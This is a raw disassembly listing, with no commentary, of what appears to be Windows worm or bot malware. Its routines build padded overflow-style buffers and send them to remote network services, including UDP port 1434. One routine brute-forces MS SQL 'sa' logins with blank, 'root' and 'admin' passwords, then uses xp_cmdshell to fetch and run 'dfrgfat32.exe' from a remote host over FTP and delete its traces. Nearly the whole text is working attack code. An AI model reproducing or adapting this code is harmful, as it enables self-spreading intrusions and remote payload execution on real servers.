loc_406439: ; CODE XREF: sub_4063ED+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_4063ED endp ; =============== S U B R O U T I N E ======================================= sub_406442 proc near ; CODE XREF: sub_4064E7+5Ep ; sub_4064E7+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_406452 push eax call sub_409A20 ; free pop ecx loc_406452: ; CODE XREF: sub_406442+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_406442 endp ; =============== S U B R O U T I N E ======================================= sub_40645B proc near ; CODE XREF: sub_4064E7+20p ; sub_4065C2+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_406488 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_409A9C ; malloc mov edi, eax pop ecx test edi, edi jnz short loc_40648C loc_406488: ; CODE XREF: sub_40645B+Dj xor al, al jmp short loc_4064E3 ; --------------------------------------------------------------------------- loc_40648C: ; CODE XREF: sub_40645B+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_409AB4 ; memset add esp, 0Ch cmp ebx, 1 jnz short loc_4064B1 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_4064CB ; --------------------------------------------------------------------------- loc_4064B1: ; CODE XREF: sub_40645B+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_4064CB: ; CODE XREF: sub_40645B+54j push eax call sub_409ABA ; memcpy add esp, 0Ch push dword ptr [esi] call sub_409A20 ; free add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_4064E3: ; CODE XREF: sub_40645B+2Fj pop edi pop esi pop ebx retn sub_40645B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064E7 proc near ; CODE XREF: sub_40661D+89p ; sub_40661D+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_409CFC call sub_4063ED lea ecx, [ebp+var_8] call sub_40645B mov eax, [ebp+var_4] inc eax push eax call sub_409A9C ; malloc mov edi, eax pop ecx test edi, edi jnz short loc_406521 xor al, al jmp short loc_40655D ; --------------------------------------------------------------------------- loc_406521: ; CODE XREF: sub_4064E7+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_409AB4 ; memset mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_409ABA ; memcpy add esp, 18h mov ecx, esi call sub_406442 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_406442 mov al, 1 loc_40655D: ; CODE XREF: sub_4064E7+38j pop edi pop esi leave retn sub_4064E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406561 proc near ; CODE XREF: sub_406595+14p ; sub_4065B2+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_4063ED mov ecx, esi call sub_406442 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_406561 endp ; =============== S U B R O U T I N E ======================================= sub_406595 proc near ; CODE XREF: sub_40661D+F0p ; sub_40661D+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_409AA2 ; strlen pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_406561 pop esi retn 4 sub_406595 endp ; =============== S U B R O U T I N E ======================================= sub_4065B2 proc near ; CODE XREF: sub_4065FE+Bp ; sub_40661D+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_406561 retn 8 sub_4065B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4065C2 proc near ; CODE XREF: sub_4065FE+16p ; sub_40661D+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40645B test al, al jz short loc_4065FB push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_402D20 call sub_4063ED mov ecx, esi call sub_406442 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_4065FB: ; CODE XREF: sub_4065C2+Fj pop esi leave retn sub_4065C2 endp ; =============== S U B R O U T I N E ======================================= sub_4065FE proc near ; CODE XREF: sub_40661D+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_4065B2 test al, al jz short loc_406619 mov ecx, esi call sub_4065C2 loc_406619: ; CODE XREF: sub_4065FE+12j pop esi retn 8 sub_4065FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40661D proc near ; CODE XREF: code:00406BDFp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_4063A9 mov edi, 408h cmp [ebp+arg_8], edi jg loc_406971 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_406971 push esi lea ecx, [ebp+var_30] call sub_4063A9 lea ecx, [ebp+var_20] call sub_4063A9 lea ecx, [ebp+var_50] call sub_4063A9 lea ecx, [ebp+var_18] call sub_4063A9 lea ecx, [ebp+var_40] call sub_4063A9 lea ecx, [ebp+var_38] call sub_4063A9 lea ecx, [ebp+var_28] call sub_4063A9 push 4 push offset dword_402A78 lea ecx, [ebp+var_30] call sub_406561 push 3 push offset dword_402A80 lea ecx, [ebp+var_30] call sub_406561 lea ecx, [ebp+var_30] call sub_4064E7 lea ecx, [ebp+var_30] call sub_4065C2 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_409AB4 ; memset add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_406561 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_406561 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_406561 lea ecx, [ebp+var_20] call sub_4064E7 push offset dword_402D48 lea ecx, [ebp+var_50] call sub_406595 lea ecx, [ebp+var_50] call sub_4064E7 push esi lea eax, [ebp+var_858] push 44h push eax call sub_409AB4 ; memset add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_4063B3 lea ecx, [ebp+var_58] call sub_4064E7 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_4065FE lea ecx, [ebp+var_58] call sub_406442 push esi lea eax, [ebp+var_858] push 43h push eax call sub_409AB4 ; memset add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_406595 push 4 push offset dword_402A84 lea ecx, [ebp+var_18] call sub_406561 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_406561 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_406561 lea ecx, [ebp+var_18] call sub_4064E7 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_4065B2 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_4065B2 lea ecx, [ebp+var_40] call sub_4065C2 lea ecx, [ebp+var_18] call sub_406442 lea ecx, [ebp+var_50] call sub_406442 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_4065B2 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_4065B2 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_4065B2 lea ecx, [ebp+var_38] call sub_4065C2 lea ecx, [ebp+var_20] call sub_406442 lea ecx, [ebp+var_30] call sub_406442 lea ecx, [ebp+var_40] call sub_406442 push esi lea eax, [ebp+var_858] push 41h push eax call sub_409AB4 ; memset add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_406561 lea ecx, [ebp+var_28] call sub_4064E7 push 2 push offset dword_402D3C lea ecx, [ebp+var_28] call sub_406561 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_4065B2 lea ecx, [ebp+var_28] call sub_4065C2 lea ecx, [ebp+var_38] call sub_406442 lea ecx, [ebp+var_10] call sub_4063A9 lea ecx, [ebp+var_8] call sub_4063A9 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_4065B2 lea ecx, [ebp+var_10] call sub_40645B lea ecx, [ebp+var_28] call sub_406442 push offset dword_402D38 lea ecx, [ebp+var_8] call sub_406595 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4065B2 lea ecx, [ebp+var_8] call sub_40645B lea ecx, [ebp+var_10] call sub_406442 push offset dword_402D34 lea ecx, [ebp+var_10] call sub_406595 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_4065B2 lea ecx, [ebp+var_10] call sub_40645B lea ecx, [ebp+var_8] call sub_406442 push offset dword_402D28 lea ecx, [ebp+var_8] call sub_406595 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4065B2 lea ecx, [ebp+var_8] call sub_40645B lea ecx, [ebp+var_10] call sub_406442 push offset dword_402D24 lea ecx, [ebp+var_48] call sub_406595 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_4065B2 lea ecx, [ebp+var_8] call sub_406442 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40697F ; --------------------------------------------------------------------------- loc_406971: ; CODE XREF: sub_40661D+1Bj ; sub_40661D+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40697F: ; CODE XREF: sub_40661D+352j pop edi pop ebx leave retn sub_40661D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406983 proc near ; CODE XREF: sub_406A47+A1p ; sub_406A47+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4011C4 ; select cmp eax, edi jnz short loc_4069EA lea eax, [ebp+var_10C] push eax push esi call sub_409CDE ; __WSAFDIsSet test eax, eax jnz short loc_4069EE loc_4069EA: ; CODE XREF: sub_406983+54j xor eax, eax jmp short loc_4069FE ; --------------------------------------------------------------------------- loc_4069EE: ; CODE XREF: sub_406983+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4011A4 ; recv loc_4069FE: ; CODE XREF: sub_406983+69j pop edi pop esi leave retn sub_406983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A02 proc near ; CODE XREF: sub_406A47+81p ; sub_406A47+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push [ebp+arg_8] call dword_4011C8 ; ntohl mov esi, dword_4011A8 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call esi ; dword_4011A8 cmp eax, 4 jz short loc_406A2F xor al, al jmp short loc_406A44 ; --------------------------------------------------------------------------- loc_406A2F: ; CODE XREF: sub_406A02+27j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call esi ; dword_4011A8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax loc_406A44: ; CODE XREF: sub_406A02+2Bj pop esi leave retn sub_406A02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A47 proc near ; CODE XREF: sub_406B21+48p ; code:00406C58p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_409A9C ; malloc mov esi, eax pop ecx test esi, esi jnz short loc_406A70 xor al, al jmp loc_406B1C ; --------------------------------------------------------------------------- loc_406A70: ; CODE XREF: sub_406A47+20j push ebx push 0 push esi call sub_409AB4 ; memset push 2Fh push offset dword_402B14 push esi call sub_409ABA ; memcpy push 8 lea eax, [esi+31h] push offset dword_402B44 push eax mov [esi+2Fh], di call sub_409ABA ; memcpy push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_409ABA ; memcpy push 6 add ebx, edi push offset dword_409CF4 push ebx call sub_409ABA ; memcpy mov ebx, [ebp+arg_0] push 85h push offset dword_402A8C push ebx call sub_406A02 add esp, 48h test al, al jnz short loc_406AD8 loc_406AD4: ; CODE XREF: sub_406A47+B5j xor bl, bl jmp short loc_406B13 ; --------------------------------------------------------------------------- loc_406AD8: ; CODE XREF: sub_406A47+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_406983 push [ebp+var_4] push esi push ebx call sub_406A02 add esp, 1Ch test al, al jz short loc_406AD4 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_406983 add esp, 10h mov bl, 1 loc_406B13: ; CODE XREF: sub_406A47+8Fj push esi call sub_409A20 ; free pop ecx mov al, bl loc_406B1C: ; CODE XREF: sub_406A47+24j pop edi pop esi pop ebx leave retn sub_406A47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B21 proc near ; CODE XREF: code:loc_406C5Fp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_402B50 push [ebp+arg_0] call dword_4011A8 ; send cmp eax, 48h jnz short loc_406B5C push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_406983 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_406B5C cmp [ebp+var_20], 82h jz short loc_406B60 loc_406B5C: ; CODE XREF: sub_406B21+1Bj ; sub_406B21+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_406B60: ; CODE XREF: sub_406B21+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_406A47 add esp, 0Ch leave retn sub_406B21 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 220h push ebx push esi mov esi, [ebp+8] push edi push 7 push offset a__ ; "\r\n\\_/." mov eax, [esi+4] xor ebx, ebx imul eax, 2Ch mov [ebp-8], ebx mov [ebp-1], bl push dword_402F5C[eax] mov ax, ds:word_409ED2 push eax lea eax, [ebp-220h] push ds:dword_409ECC push 200h push eax call sub_40785C add esp, 1Ch cmp eax, ebx jnz short loc_406BC9 push ebx call dword_401088 ; ExitThread loc_406BC9: ; CODE XREF: code:00406BC0j push eax lea eax, [ebp-220h] push eax push 164h lea eax, [ebp-10h] push offset aSvwfbA ; "SVWf" push eax call sub_40661D add esp, 14h cmp [ebp-0Ch], ebx jnz short loc_406BF3 push ebx call dword_401088 ; ExitThread loc_406BF3: ; CODE XREF: code:00406BEAj ; code:00406C88j cmp [ebp-1], bl jnz loc_406C8E push 10h lea eax, [ebp-20h] push ebx push eax call sub_409AB4 ; memset mov eax, [esi+8] add esp, 0Ch mov [ebp-1Ch], eax mov ax, [esi] push eax mov word ptr [ebp-20h], 2 call dword_4011B0 ; ntohs push ebx push ebx push ebx push 6 push 1 push 2 mov [ebp-1Eh], ax call dword_4011BC ; WSASocketA mov edi, eax cmp edi, ebx jz short loc_406C9D lea eax, [ebp-20h] push 10h push eax push edi call dword_4011AC ; connect cmp eax, 0FFFFFFFFh jz short loc_406CA4 push dword ptr [ebp-0Ch] cmp [ebp-8], ebx push dword ptr [ebp-10h] push edi jnz short loc_406C5F call sub_406A47 jmp short loc_406C64 ; --------------------------------------------------------------------------- loc_406C5F: ; CODE XREF: code:00406C56j call sub_406B21 loc_406C64: ; CODE XREF: code:00406C5Dj add esp, 0Ch mov [ebp-1], al push edi call dword_4011B8 ; closesocket cmp [ebp-1], bl jnz short loc_406C81 push 3E8h call dword_40107C ; Sleep loc_406C81: ; CODE XREF: code:00406C74j inc dword ptr [ebp-8] cmp dword ptr [ebp-8], 2 jl loc_406BF3 loc_406C8E: ; CODE XREF: code:00406BF6j lea ecx, [ebp-10h] call sub_406442 push ebx call dword_401088 ; ExitThread loc_406C9D: ; CODE XREF: code:00406C38j push ebx call dword_401088 ; ExitThread loc_406CA4: ; CODE XREF: code:00406C4Aj push ebx call dword_401088 ; ExitThread push ebp mov ebp, esp sub esp, 0A14h push esi mov esi, [ebp+8] push edi push 2 mov eax, [esi+4] push offset asc_402E1C ; "\r" imul eax, 2Ch push dword_402F5C[eax] mov ax, ds:word_409ED2 push eax lea eax, [ebp-0A14h] push ds:dword_409ECC push 200h push eax call sub_40785C xor edi, edi add esp, 1Ch cmp eax, edi mov [ebp-4], eax jnz short loc_406CFD push edi call dword_401088 ; ExitThread loc_406CFD: ; CODE XREF: code:00406CF4j push 10h lea eax, [ebp-14h] push edi push eax call sub_409AB4 ; memset mov ax, [esi] add esp, 0Ch mov word ptr [ebp-14h], 2 push eax call dword_4011B0 ; ntohs push edi push edi push edi mov [ebp-12h], ax mov eax, [esi+8] push 6 push 1 push 2 mov [ebp-10h], eax call dword_4011BC ; WSASocketA lea ecx, [ebp-14h] push 10h push ecx push eax mov [ebp+8], eax call dword_4011AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_406D51 push edi call dword_401088 ; ExitThread loc_406D51: ; CODE XREF: code:00406D48j push ebx mov ebx, 90h push 800h lea eax, [ebp-814h] push ebx push eax call sub_409AB4 ; memset push 24h lea eax, [ebp-814h] push offset dword_402D54 push eax call sub_409ABA ; memcpy push 210h lea eax, [ebp-7F0h] push 4Dh push eax call sub_409AB4 ; memset push 4 lea eax, [ebp-5E0h] pop edi push edi push offset aEu4 ; "\x1B4" push eax call sub_409ABA ; memcpy push edi lea eax, [ebp-5DCh] push offset aCccc ; "CCCC" push eax call sub_409ABA ; memcpy push edi lea eax, [ebp-5D8h] push offset dword_402D7C push eax call sub_409ABA ; memcpy add esp, 48h mov esi, offset dword_402D80 lea eax, [ebp-5D4h] push edi push esi push eax call sub_409ABA ; memcpy push edi lea eax, [ebp-5D0h] push esi push eax call sub_409ABA ; memcpy push edi lea eax, [ebp-5CCh] push offset a3333 ; "3333" push eax call sub_409ABA ; memcpy push edi lea eax, [ebp-5C8h] push esi push eax call sub_409ABA ; memcpy push edi lea eax, [ebp-5C4h] push esi push eax call sub_409ABA ; memcpy push 58h lea eax, [ebp-5C0h] push 41h push eax call sub_409AB4 ; memset mov edi, [ebp-4] mov eax, 200h add esp, 48h sub eax, edi push eax lea eax, [ebp-568h] push ebx push eax call sub_409AB4 ; memset mov esi, 4ACh lea eax, [ebp-0A14h] sub esi, edi push edi push eax lea eax, [ebp+esi-814h] push eax call sub_409ABA ; memcpy add esi, edi push 5 push offset dword_402E04 lea eax, [ebp+esi-814h] push eax call sub_409ABA ; memcpy add esp, 24h add esi, 5 lea eax, [ebp-814h] push 0 push esi push eax push dword ptr [ebp+8] call dword_4011A8 ; send cmp eax, 0FFFFFFFFh pop ebx jnz short loc_406E9E push 0 call dword_401088 ; ExitThread loc_406E9E: ; CODE XREF: code:00406E94j push dword ptr [ebp+8] call sub_40867A pop ecx push 1 call dword_401088 ; ExitThread push ebp mov ebp, esp sub esp, 610h push ebx push esi mov esi, [ebp+8] push edi push 6 push offset aR ; "/\\r\n:" mov eax, [esi+4] imul eax, 2Ch push dword_402F5C[eax] mov ax, ds:word_409ED2 push eax lea eax, [ebp-610h] push ds:dword_409ECC push 200h push eax call sub_40785C mov edi, eax xor ebx, ebx add esp, 1Ch cmp edi, ebx jnz short loc_406F01 push ebx call dword_401088 ; ExitThread loc_406F01: ; CODE XREF: code:00406EF8j push 10h lea eax, [ebp-10h] push ebx push eax call sub_409AB4 ; memset add esp, 0Ch mov word ptr [ebp-10h], 2 push 59Ah call dword_4011B0 ; ntohs mov [ebp-0Eh], ax mov eax, [esi+8] push ebx push 2 push 2 mov [ebp-0Ch], eax call dword_4011B4 ; socket lea ecx, [ebp-10h] push 10h push ecx push eax mov [ebp+8], eax call dword_4011AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_406F52 push ebx call dword_401088 ; ExitThread loc_406F52: ; CODE XREF: code:00406F49j push 320h lea eax, [ebp-410h] push 90h push eax call sub_409AB4 ; memset push 1 push 4 pop ebx lea eax, [ebp-410h] push ebx push eax call sub_409AB4 ; memset push 6 lea eax, [ebp-2F0h] push offset aH888r ; "h:888" push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp-3AFh] push offset dword_402D84 push eax call sub_409ABA ; memcpy push ebx lea eax, [ebp-3ABh] push offset aIiii ; "ii" push eax call sub_409ABA ; memcpy mov esi, offset dword_402D88 push ebx lea eax, [ebp-3A3h] push esi push eax call sub_409ABA ; memcpy add esp, 48h lea eax, [ebp-39Fh] push ebx push esi push eax call sub_409ABA ; memcpy push 3 lea eax, [ebp-337h] push offset a512 ; "512" push eax call sub_409ABA ; memcpy mov esi, 326h lea eax, [ebp-610h] sub esi, edi push edi push eax lea eax, [ebp+esi-410h] push eax call sub_409ABA ; memcpy add esp, 24h add esi, edi lea eax, [ebp-410h] push 0 push esi push eax push dword ptr [ebp+8] call dword_4011A8 ; send cmp eax, 0FFFFFFFFh jnz short loc_407029 push 0 call dword_401088 ; ExitThread loc_407029: ; CODE XREF: code:0040701Fj push dword ptr [ebp+8] call sub_40867A pop ecx push 1 call dword_401088 ; ExitThread push ebp mov ebp, esp sub esp, 610h push ebx push esi mov esi, [ebp+8] push edi push 6 push offset aR ; "/\\r\n:" mov eax, [esi+4] imul eax, 2Ch push dword_402F5C[eax] mov ax, ds:word_409ED2 push eax lea eax, [ebp-210h] push ds:dword_409ECC push 200h push eax call sub_40785C mov ebx, eax loc_40707C: ; DATA XREF: code:004028B0o ; code:004028C4o ... xor edi, edi add esp, 1Ch cmp ebx, edi jnz short loc_40708C push edi call dword_401088 ; ExitThread loc_40708C: ; CODE XREF: code:00407083j push 10h lea eax, [ebp-10h] push edi push eax call sub_409AB4 ; memset add esp, 0Ch mov word ptr [ebp-10h], 2 push 59Ah call dword_4011B0 ; ntohs mov [ebp-0Eh], ax mov eax, [esi+8] push edi push 2 push 2 mov [ebp-0Ch], eax call dword_4011B4 ; socket mov esi, eax lea eax, [ebp-10h] push 10h push eax push esi call dword_4011AC ; connect cmp eax, 0FFFFFFFFh push edi jnz short loc_4070DC call dword_401088 ; ExitThread loc_4070DC: ; CODE XREF: code:004070D4j lea eax, [ebp-610h] push offset dword_402D8C push eax call sub_409ABA ; memcpy lea eax, [ebp-210h] push ebx push eax lea eax, [ebp-610h] push eax call sub_409ABA ; memcpy add esp, 18h add ebx, 75h lea eax, [ebp-610h] push edi push ebx push eax push esi call dword_4011A8 ; send cmp eax, 0FFFFFFFFh jnz short loc_407123 push edi call dword_401088 ; ExitThread loc_407123: ; CODE XREF: code:0040711Aj push esi call sub_40867A pop ecx push 1 call dword_401088 ; ExitThread push ebp mov ebp, esp sub esp, 0C34h mov al, ds:byte_409CF0 push esi mov [ebp-1], al push edi lea eax, [ebp-10h] xor edi, edi push eax mov esi, offset aSa ; "sa" push edi push 1 mov [ebp-34h], esi mov dword ptr [ebp-30h], offset aRoot ; "root" mov dword ptr [ebp-2Ch], offset aAdmin ; "admin" mov dword ptr [ebp-28h], offset byte_409CF0 mov [ebp-24h], edi call sub_409CD8 test ax, ax jz short loc_40717F push edi call dword_401088 ; ExitThread loc_40717F: ; CODE XREF: code:00407176j push 0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-10h] call sub_409CD2 test ax, ax jz short loc_40719C push edi call dword_401088 ; ExitThread loc_40719C: ; CODE XREF: code:00407193j lea eax, [ebp-0Ch] push eax push dword ptr [ebp-10h] push 2 call sub_409CD8 test ax, ax jz short loc_4071B6 push edi call dword_401088 ; ExitThread loc_4071B6: ; CODE XREF: code:004071ADj mov eax, esi push ebx test eax, eax jz loc_40733D mov ebx, [ebp+8] lea ecx, [ebp-34h] mov [ebp+8], ecx mov esi, 400h mov edi, offset aDfrgfat32_exe ; "dfrgfat32.exe" loc_4071D4: ; CODE XREF: code:00407323j lea ecx, [ebp-1] push ecx push eax push dword ptr [ebx+8] call sub_4073A9 pop ecx push eax lea eax, [ebp-834h] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s;UID=sa;PW"... push eax call sub_409AC0 ; sprintf add esp, 14h lea eax, [ebp-1Eh] push 3 push eax lea eax, [ebp-0C34h] push esi push eax lea eax, [ebp-834h] push eax call sub_409AA2 ; strlen pop ecx push eax lea eax, [ebp-834h] push eax push 0 push dword ptr [ebp-0Ch] call sub_409CCC lea eax, [ebp-8] push eax push dword ptr [ebp-0Ch] call sub_409CC6 push 6 push 1 call sub_409957 push eax call sub_4098BE add esp, 0Ch push eax push offset aS_txt ; "%s.txt" lea eax, [ebp-1Ch] push 0Ah push eax call sub_409A26 ; _snprintf add esp, 10h lea eax, [ebp-1Ch] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-1Ch] push eax lea eax, [ebp-1Ch] push edi push eax push 0Ah push 4 call sub_409957 push eax call sub_4098BE add esp, 0Ch push eax push 0Ah push 4 call sub_409957 push eax call sub_4098BE add esp, 0Ch push eax lea eax, [ebp-1Ch] push eax movzx eax, ds:word_409D50 push eax push ds:dword_409ECC call sub_4073A9 pop ecx push eax push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'echo open %s "... lea eax, [ebp-434h] push esi push eax call sub_409A26 ; _snprintf add esp, 34h lea eax, [ebp-434h] push 0FFFFFFFDh push eax push dword ptr [ebp-8] call sub_409CC0 test ax, ax jnz short loc_407318 push dword ptr [ebp-8] push 3 call sub_409CBA lea eax, [ebp-8] push eax push dword ptr [ebp-0Ch] call sub_409CC6 push edi lea eax, [ebp-1Ch] push edi push eax push offset aExecMaster___0 ; "EXEC master..xp_cmdshell 'del %s &%s &c"... lea eax, [ebp-434h] push esi push eax call sub_409A26 ; _snprintf add esp, 18h lea eax, [ebp-434h] push 0FFFFFFFDh push eax push dword ptr [ebp-8] call sub_409CC0 test ax, ax jz short loc_40732B loc_407318: ; CODE XREF: code:004072CFj add dword ptr [ebp+8], 4 mov eax, [ebp+8] mov eax, [eax] test eax, eax jnz loc_4071D4 jmp short loc_40733D ; --------------------------------------------------------------------------- loc_40732B: ; CODE XREF: code:00407316j mov eax, [ebx+4] imul eax, 2Ch inc dword_402F58[eax] lea eax, dword_402F58[eax] loc_40733D: ; CODE XREF: code:004071BBj ; code:00407329j lea eax, [ebp-0Ch] push eax push 2 call sub_409CBA lea eax, [ebp-10h] push eax push 1 call sub_409CBA lea eax, [ebp-8] push eax push 3 call sub_409CBA push 0 call dword_401088 ; ExitThread pop ebx ; =============== S U B R O U T I N E ======================================= sub_407367 proc near ; CODE XREF: code:loc_407725p push ds:dword_409D48 call dword_4011C8 ; ntohl inc eax push eax call dword_4011CC ; ntohl mov ds:dword_409D48, eax retn sub_407367 endp ; =============== S U B R O U T I N E ======================================= sub_407381 proc near ; CODE XREF: sub_404360+534p push esi call sub_409AC6 ; rand mov esi, eax shl esi, 8 call sub_409AC6 ; rand add esi, eax shl esi, 8 call sub_409AC6 ; rand add esi, eax shl esi, 8 call sub_409AC6 ; rand add eax, esi pop esi retn sub_407381 endp ; =============== S U B R O U T I N E ======================================= sub_4073A9 proc near ; CODE XREF: sub_404360+ECp ; sub_404360+142p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4011D0 ; inet_ntoa retn sub_4073A9 endp ; =============== S 